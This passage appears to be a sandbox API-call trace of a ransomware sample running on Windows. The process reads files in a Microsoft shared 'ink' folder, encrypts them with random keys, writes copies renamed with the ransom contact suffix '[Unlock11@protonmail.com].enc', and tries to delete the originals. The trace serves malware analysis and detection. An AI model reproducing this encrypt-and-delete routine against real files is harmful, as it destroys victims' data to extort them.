lpFilePart=0x9bada4*="ipssrb.xml") returned 0x3d [0121.364] GetCurrentThreadId () returned 0x9b0 [0121.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0121.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0121.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0121.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0121.365] GetCurrentThreadId () returned 0x9b0 [0121.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0121.365] GetLastError () returned 0x0 [0121.365] GetLastError () returned 0x0 [0121.365] GetLastError () returned 0x0 [0121.365] GetLastError () returned 0x0 [0121.365] GetCurrentThreadId () returned 0x9b0 [0121.365] GetLastError () returned 0x0 [0121.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0121.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea430 [0121.366] GetLastError () returned 0x0 [0121.366] GetLastError () returned 0x0 [0121.366] GetLastError () returned 0x0 [0121.366] GetLastError () returned 0x0 [0121.366] GetCurrentThreadId () returned 0x9b0 [0121.366] GetLastError () returned 0x0 [0121.367] GetCurrentThreadId () returned 0x9b0 [0121.367] GetLastError () returned 0x0 [0121.367] GetLastError () returned 0x0 [0121.367] GetLastError () returned 0x0 [0121.367] GetLastError () returned 0x0 [0121.367] GetCurrentThreadId () returned 0x9b0 [0121.367] GetLastError () returned 0x0 [0121.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea430 | out: hHeap=0x2ad0000) returned 1 [0121.367] GetLastError () returned 0x0 [0121.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0121.368] GetLastError () returned 0x0 [0121.368] GetLastError () returned 0x0 [0121.368] GetLastError () returned 0x0 [0121.368] GetCurrentThreadId () returned 0x9b0 [0121.368] GetLastError () returned 0x0 [0121.368] GetLastError () returned 0x0 [0121.368] GetLastError () returned 0x0 [0121.368] GetLastError () returned 0x0 [0121.368] GetLastError () returned 0x0 [0121.368] GetCurrentThreadId () returned 0x9b0 [0121.368] GetLastError () returned 0x0 [0121.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0121.369] GetLastError () returned 0x0 [0121.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0121.369] GetLastError () returned 0x0 [0121.369] GetLastError () returned 0x0 [0121.369] GetLastError () returned 0x0 [0121.369] GetCurrentThreadId () returned 0x9b0 [0121.369] GetLastError () returned 0x0 [0121.369] GetLastError () returned 0x0 [0121.369] GetLastError () returned 0x0 [0121.369] GetLastError () returned 0x0 [0121.370] GetLastError () returned 0x0 [0121.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.370] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08)) returned 1 [0121.370] GetLastError () returned 0x0 [0121.370] GetCurrentThreadId () returned 0x9b0 [0121.370] GetLastError () returned 0x0 [0121.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.370] GetCurrentThreadId () returned 0x9b0 [0121.370] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a214 | out: pbBuffer=0x366a214) returned 1 [0121.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0121.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0121.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0121.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea368 [0121.371] GetCurrentThreadId () returned 0x9b0 [0121.371] GetLastError () returned 0x0 [0121.371] GetLastError () returned 0x0 [0121.371] GetLastError () returned 0x0 [0121.371] GetLastError () returned 0x0 [0121.371] GetCurrentThreadId () returned 0x9b0 [0121.371] GetLastError () returned 0x0 [0121.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea368 | out: hHeap=0x2ad0000) returned 1 [0121.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea200 [0121.372] GetLastError () returned 0x0 [0121.372] GetLastError () returned 0x0 [0121.372] GetLastError () returned 0x0 [0121.372] GetLastError () returned 0x0 [0121.372] GetCurrentThreadId () returned 0x9b0 [0121.372] GetLastError () returned 0x0 [0121.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea200 | out: hHeap=0x2ad0000) returned 1 [0121.372] GetCurrentThreadId () returned 0x9b0 [0121.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0121.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0121.372] GetLastError () returned 0x0 [0121.373] GetLastError () returned 0x0 [0121.373] GetLastError () returned 0x0 [0121.373] GetLastError () returned 0x0 [0121.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0121.373] GetLastError () returned 0x0 [0121.373] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.373] GetFileType (hFile=0x39c) returned 0x1 [0121.373] GetLastError () returned 0x0 [0121.374] GetCurrentThreadId () returned 0x9b0 [0121.374] GetLastError () returned 0x0 [0121.374] GetFileType (hFile=0x39c) returned 0x1 [0121.374] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.374] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.374] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.374] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.374] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.374] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.374] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.374] GetLastError () returned 0x0 [0121.374] GetCurrentThreadId () returned 0x9b0 [0121.374] GetLastError () returned 0x0 [0121.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0121.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.375] GetLastError () returned 0x0 [0121.375] GetLastError () returned 0x0 [0121.375] GetLastError () returned 0x0 [0121.375] GetLastError () returned 0x0 [0121.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0121.375] GetLastError () returned 0x0 [0121.375] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.376] GetFileType (hFile=0x3ac) returned 0x1 [0121.376] GetLastError () returned 0x0 [0121.376] GetCurrentThreadId () returned 0x9b0 [0121.376] GetLastError () returned 0x0 [0121.376] GetFileType (hFile=0x3ac) returned 0x1 [0121.376] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.376] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.376] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.376] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.376] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.376] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.376] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.377] GetLastError () returned 0x0 [0121.377] GetCurrentThreadId () returned 0x9b0 [0121.377] GetLastError () returned 0x0 [0121.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0121.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.377] GetLastError () returned 0x0 [0121.377] GetLastError () returned 0x0 [0121.377] GetCurrentThreadId () returned 0x9b0 [0121.377] GetLastError () returned 0x0 [0121.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0121.378] GetLastError () returned 0x0 [0121.378] GetLastError () returned 0x0 [0121.378] GetCurrentThreadId () returned 0x9b0 [0121.378] GetLastError () returned 0x0 [0121.378] GetLastError () returned 0x0 [0121.379] GetLastError () returned 0x0 [0121.380] GetCurrentThreadId () returned 0x9b0 [0121.380] GetLastError () returned 0x0 [0121.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa28) returned 0x35c7880 [0121.380] GetCurrentThreadId () returned 0x9b0 [0121.380] GetLastError () returned 0x0 [0121.380] GetLastError () returned 0x0 [0121.380] GetLastError () returned 0x0 [0121.380] GetLastError () returned 0x0 [0121.380] GetCurrentThreadId () returned 0x9b0 [0121.381] GetLastError () returned 0x0 [0121.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c7880 | out: hHeap=0x2ad0000) returned 1 [0121.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0121.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.381] GetLastError () returned 0x0 [0121.381] GetLastError () returned 0x0 [0121.381] GetCurrentThreadId () returned 0x9b0 [0121.381] GetLastError () returned 0x0 [0121.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6370 | out: hHeap=0x2ad0000) returned 1 [0121.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f78 [0121.381] GetLastError () returned 0x0 [0121.382] GetLastError () returned 0x0 [0121.382] GetCurrentThreadId () returned 0x9b0 [0121.382] GetLastError () returned 0x0 [0121.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f78 | out: hHeap=0x2ad0000) returned 1 [0121.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.382] GetLastError () returned 0x0 [0121.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.383] CloseHandle (hObject=0x3ac) returned 1 [0121.383] GetLastError () returned 0x0 [0121.383] GetCurrentThreadId () returned 0x9b0 [0121.383] GetLastError () returned 0x0 [0121.384] GetLastError () returned 0x0 [0121.384] CloseHandle (hObject=0x39c) returned 1 [0121.384] GetLastError () returned 0x0 [0121.384] GetCurrentThreadId () returned 0x9b0 [0121.384] GetLastError () returned 0x0 [0121.384] GetLastError () returned 0x0 [0121.384] GetLastError () returned 0x0 [0121.384] GetLastError () returned 0x0 [0121.384] GetLastError () returned 0x0 [0121.384] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0 [0121.385] GetLastError () returned 0x5 [0121.385] GetCurrentThreadId () returned 0x9b0 [0121.385] GetCurrentThreadId () returned 0x9b0 [0121.385] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", lpFilePart=0x9bada4*="ipssrl.xml") returned 0x3d [0121.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.385] GetCurrentThreadId () returned 0x9b0 [0121.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea188 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.386] GetCurrentThreadId () returned 0x9b0 [0121.387] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24)) returned 1 [0121.387] GetCurrentThreadId () returned 0x9b0 [0121.387] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a14c | out: pbBuffer=0x366a14c) returned 1 [0121.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0121.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0121.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0121.387] GetCurrentThreadId () returned 0x9b0 [0121.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea430 [0121.387] GetCurrentThreadId () returned 0x9b0 [0121.388] GetCurrentThreadId () returned 0x9b0 [0121.388] GetCurrentThreadId () returned 0x9b0 [0121.388] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.388] GetFileType (hFile=0x39c) returned 0x1 [0121.388] GetCurrentThreadId () returned 0x9b0 [0121.388] GetFileType (hFile=0x39c) returned 0x1 [0121.388] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.388] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.388] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.389] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.389] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.389] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.389] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.389] GetLastError () returned 0x0 [0121.389] GetCurrentThreadId () returned 0x9b0 [0121.389] GetLastError () returned 0x0 [0121.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0121.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0121.389] GetLastError () returned 0x0 [0121.389] GetLastError () returned 0x0 [0121.389] GetLastError () returned 0x0 [0121.390] GetLastError () returned 0x0 [0121.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0121.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb60 [0121.390] GetLastError () returned 0x0 [0121.390] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.390] GetFileType (hFile=0x3ac) returned 0x1 [0121.390] GetLastError () returned 0x0 [0121.390] GetCurrentThreadId () returned 0x9b0 [0121.390] GetLastError () returned 0x0 [0121.391] GetFileType (hFile=0x3ac) returned 0x1 [0121.391] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.391] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.391] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.391] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.391] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.391] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.391] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.391] GetLastError () returned 0x0 [0121.391] GetCurrentThreadId () returned 0x9b0 [0121.391] GetLastError () returned 0x0 [0121.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0121.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.392] GetLastError () returned 0x0 [0121.392] GetLastError () returned 0x0 [0121.392] GetCurrentThreadId () returned 0x9b0 [0121.392] GetLastError () returned 0x0 [0121.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.392] GetLastError () returned 0x0 [0121.392] GetLastError () returned 0x0 [0121.392] GetCurrentThreadId () returned 0x9b0 [0121.393] GetLastError () returned 0x0 [0121.393] GetLastError () returned 0x0 [0121.394] GetLastError () returned 0x0 [0121.394] GetCurrentThreadId () returned 0x9b0 [0121.394] GetLastError () returned 0x0 [0121.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.395] GetCurrentThreadId () returned 0x9b0 [0121.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa48) returned 0x382cb08 [0121.395] GetLastError () returned 0x0 [0121.395] GetLastError () returned 0x0 [0121.395] GetLastError () returned 0x0 [0121.395] GetLastError () returned 0x0 [0121.395] GetCurrentThreadId () returned 0x9b0 [0121.395] GetLastError () returned 0x0 [0121.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0121.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.396] GetLastError () returned 0x0 [0121.396] GetLastError () returned 0x0 [0121.396] GetCurrentThreadId () returned 0x9b0 [0121.396] GetLastError () returned 0x0 [0121.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c8308 | out: hHeap=0x2ad0000) returned 1 [0121.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f98 [0121.396] GetLastError () returned 0x0 [0121.396] GetLastError () returned 0x0 [0121.396] GetCurrentThreadId () returned 0x9b0 [0121.396] GetLastError () returned 0x0 [0121.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f98 | out: hHeap=0x2ad0000) returned 1 [0121.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.397] GetLastError () returned 0x0 [0121.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.398] CloseHandle (hObject=0x3ac) returned 1 [0121.398] GetLastError () returned 0x0 [0121.398] GetCurrentThreadId () returned 0x9b0 [0121.398] GetLastError () returned 0x0 [0121.399] GetLastError () returned 0x0 [0121.399] CloseHandle (hObject=0x39c) returned 1 [0121.399] GetLastError () returned 0x0 [0121.399] GetCurrentThreadId () returned 0x9b0 [0121.399] GetLastError () returned 0x0 [0121.399] GetLastError () returned 0x0 [0121.399] GetLastError () returned 0x0 [0121.399] GetLastError () returned 0x0 [0121.399] GetLastError () returned 0x0 [0121.399] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0 [0121.400] GetLastError () returned 0x5 [0121.400] GetCurrentThreadId () returned 0x9b0 [0121.400] GetLastError () returned 0x5 [0121.400] GetLastError () returned 0x5 [0121.400] GetLastError () returned 0x5 [0121.400] GetLastError () returned 0x5 [0121.400] LocalFree (hMem=0x1053c70) returned 0x0 [0121.400] GetCurrentThreadId () returned 0x9b0 [0121.400] GetLastError () returned 0x5 [0121.401] GetLastError () returned 0x5 [0121.401] GetLastError () returned 0x5 [0121.401] GetLastError () returned 0x5 [0121.401] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", lpFilePart=0x9bada4*="ipssve.xml") returned 0x3d [0121.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0121.401] GetCurrentThreadId () returned 0x9b0 [0121.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0121.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0121.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0121.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.401] GetLastError () returned 0x0 [0121.402] GetLastError () returned 0x0 [0121.402] GetLastError () returned 0x0 [0121.402] GetLastError () returned 0x0 [0121.402] GetCurrentThreadId () returned 0x9b0 [0121.402] GetLastError () returned 0x0 [0121.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.402] GetCurrentThreadId () returned 0x9b0 [0121.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea430 [0121.402] GetLastError () returned 0x0 [0121.402] GetLastError () returned 0x0 [0121.403] GetLastError () returned 0x0 [0121.403] GetLastError () returned 0x0 [0121.403] GetCurrentThreadId () returned 0x9b0 [0121.403] GetLastError () returned 0x0 [0121.403] GetLastError () returned 0x0 [0121.403] GetLastError () returned 0x0 [0121.403] GetLastError () returned 0x0 [0121.403] GetLastError () returned 0x0 [0121.403] GetCurrentThreadId () returned 0x9b0 [0121.403] GetLastError () returned 0x0 [0121.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea430 | out: hHeap=0x2ad0000) returned 1 [0121.404] GetLastError () returned 0x0 [0121.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0121.404] GetLastError () returned 0x0 [0121.404] GetLastError () returned 0x0 [0121.404] GetLastError () returned 0x0 [0121.404] GetCurrentThreadId () returned 0x9b0 [0121.404] GetLastError () returned 0x0 [0121.404] GetCurrentThreadId () returned 0x9b0 [0121.404] GetLastError () returned 0x0 [0121.404] GetLastError () returned 0x0 